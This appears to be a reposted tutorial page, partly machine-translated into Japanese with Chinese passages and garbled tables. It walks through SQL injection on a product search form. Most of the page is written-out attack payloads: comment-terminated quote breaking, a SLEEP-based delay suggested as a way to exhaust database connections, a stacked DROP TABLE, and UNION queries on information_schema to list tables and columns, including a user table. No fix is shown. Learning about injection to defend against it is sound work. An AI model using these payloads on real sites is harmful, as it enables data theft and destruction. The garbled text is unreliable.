ホームページ > データベース > SQL > SQL インジェクションの基本原理をすぐに理解する

SQL インジェクションの基本原理をすぐに理解する

angryTom
リリース: 2019-11-29 14:42:13
転載
3377 人が閲覧しました

SQL インジェクションの基本原理をすぐに理解する

##SQL インジェクションの基本原則

WEB テクノロジーは急速に発展していますが、素手で SQL を綴るという伝統的な技術は依然としてかなりのユーザーに好まれています。開発者が少ない。結局のところ、一連の複雑な ORM ルールを学習するよりも、手作業で行う方が便利で直感的です。通常、自分で SQL を書く人は、

SQL インジェクション が危険であることを聞いたことがあるはずですが、彼らは常に次のように考えています。「私の SQL ステートメントは非常に単純なので、インジェクションすることはできません。」

この完全な例を 5 分で読んでください。今後は、危険を冒すことを決して避けてください。

簡単なシナリオ

製品名を入力し、対応する価格、製造日、製造場所の情報を表示する WEB インターフェイスがあります。たとえば、「ハンマー ディスプレイ」と入力します。

ProductPricePlace ofproductionDate ofproductionクローハンマー12.98アメリカン2019.11.07クラブハンマー29.98カナダ2019.11.11##ウェブ構築のプロセスをスキップしました検索インターフェイス、重要な部分に直接焦点を当てます:
SQL インジェクション

上記の機能を実現したい場合、サーバーで使用される SQL ステートメントは次のとおりであると大まかに推測できます:

SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
ログイン後にコピー

where? は、現時点では具体的な内容がわからないことを意味します。テーブル名とフィールド名であり、この SQL は一意です。操作できるのは、シングルクォート '%Hammer%' 内の入力内容です。検索ボックスに一重引用符を直接入力した場合。つまり、

select ? from ? where ? Like '%'%';
ログイン後にコピー

になります。このように結合すると、SQL 構文エラーが発生し、結果が得られません。

--

を使用して、最後の単一をコメントアウトする必要があります。引用。 <div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:sql;toolbar:false;">select ? from ? where ? Like &amp;#39;%&amp;#39;; -- %&amp;#39;;</pre><div class="contentsignin">ログイン後にコピー</div></div>

--

の後にコメント内容が続きます (# も使用できます)。これにより、すべての製品情報を取得できます。匂いを嗅いだことがない、危険信号だ。

##製品価格生産地生産日#クローハンマー12.98アメリカン2019.11.07クラブハンマー29.98カナダ2019.11.11果物ナイフ10.98中国2019.11.11骨抜きナイフ19.98中国2019.01.01実際に試して、

# 前のステップの展開可能な一重引用符の部分をそのままにしておきます。単純な遅延ステートメントを試してみましょう:

select ? from ? where ? Like &#39;%Hammer%&#39; and 1 = SLEEP(2); -- %&#39;;
ログイン後にコピー

現時点では、クエリが結果を返すまでに 2 秒かかります。時間が延長される場合は、スクリプトを使用してクエリを数回実行すると、データベース接続プールが一発で復旧。

もちろん、さらに破壊的なものもあります。

select ? from ? where ? Like &#39;%Hammer%&#39;; drop table xxxx; -- %&#39;;
ログイン後にコピー

テーブル/データベースを直接削除できますが、データベースにどのテーブルがあるかを知る方法 (つまり、前の SQL 文の xxxx を確認する方法) についてはどうすればよいですか?

結合したいことは何でもしてください

このデータベースにどのようなテーブルがあるのか​​を知る必要があります。この方法でのみ有益な情報を得ることができます。

ユニオンを使用すると、さまざまなテーブルの内容を結合できます。試してみてください:

select ?,?,?,? from ? where ? Like &#39;%Hammer%&#39; UNION (select 1,2,3,4 from dual); -- %&#39;;
ログイン後にコピー

##ProductPriceクローハンマー12.9829.982
生産地生産日
アメリカ2019.11.07クラブハンマー
カナダ2019.11.111
34

可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。

Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。

select ? from ? where ? Like &#39;%Hammer%&#39; UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %&#39;;
ログイン後にコピー
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
authorshawkeye34
productshawkeye34
userhawkeye34
........34

现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。

看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。

select ? from ? where ? Like &#39;%Hammer%&#39; UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = &#39;products&#39;); -- %&#39;;
ログイン後にコピー
产品价格生产地生产日期
Claw Hammer12.98American2019.11.07
Club Hammer29.98Canada2019.11.11
idhawkeye34
namehawkeye34
pricehawkeye34
addresshawkeye34
updated_athawkeye34

所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):

select name,price,address,updated_at from products where name like &#39;%Hammer%&#39;;
ログイン後にコピー

通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表

以上がSQL インジェクションの基本原理をすぐに理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:cnblogs.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート